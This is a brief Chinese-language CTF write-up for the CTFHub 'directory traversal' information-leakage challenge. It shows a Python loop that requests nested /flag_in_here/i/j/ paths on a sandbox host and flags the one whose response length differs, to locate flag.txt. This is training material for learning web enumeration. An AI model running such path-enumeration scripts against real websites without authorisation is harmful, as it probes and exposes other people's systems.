CTFHub技能树信息泄露——目录遍历

这个也是相对比较简单的，主要是路径的问题。点击开启题目，打开给出的链接。

 可以用最简单的办法，就是一个一个的试。把Index  of/flag_in_here/1或2或3或4/1或2或3或4都试一遍，看到flag.txt打开就是flag。(也可以写个脚本，for循环遍历)

当然，如果不想一个一个的点，毕竟很没有技术含量，也可以使用脚本：

import requests
url = "http://challenge-bd23b5e84fd7b1bd.sandbox.ctfhub.com:10800/flag_in_here/"
url_m = "http://challenge-bd23b5e84fd7b1bd.sandbox.ctfhub.com:10800/flag_in_here/1/1/"
r1 = requests.get(url_m)
length1 = len(r1.text)
for i in range(1, 5):
    for j in range(1, 5):
        url_new = url+f'{i}/{j}/'
        r2 = requests.get(url_new)
        length2 = len(r2.text)
        if length1 != length2:
            print(url_new)

运行后，在控制台输出链接，打开就是有flag.txt的链接。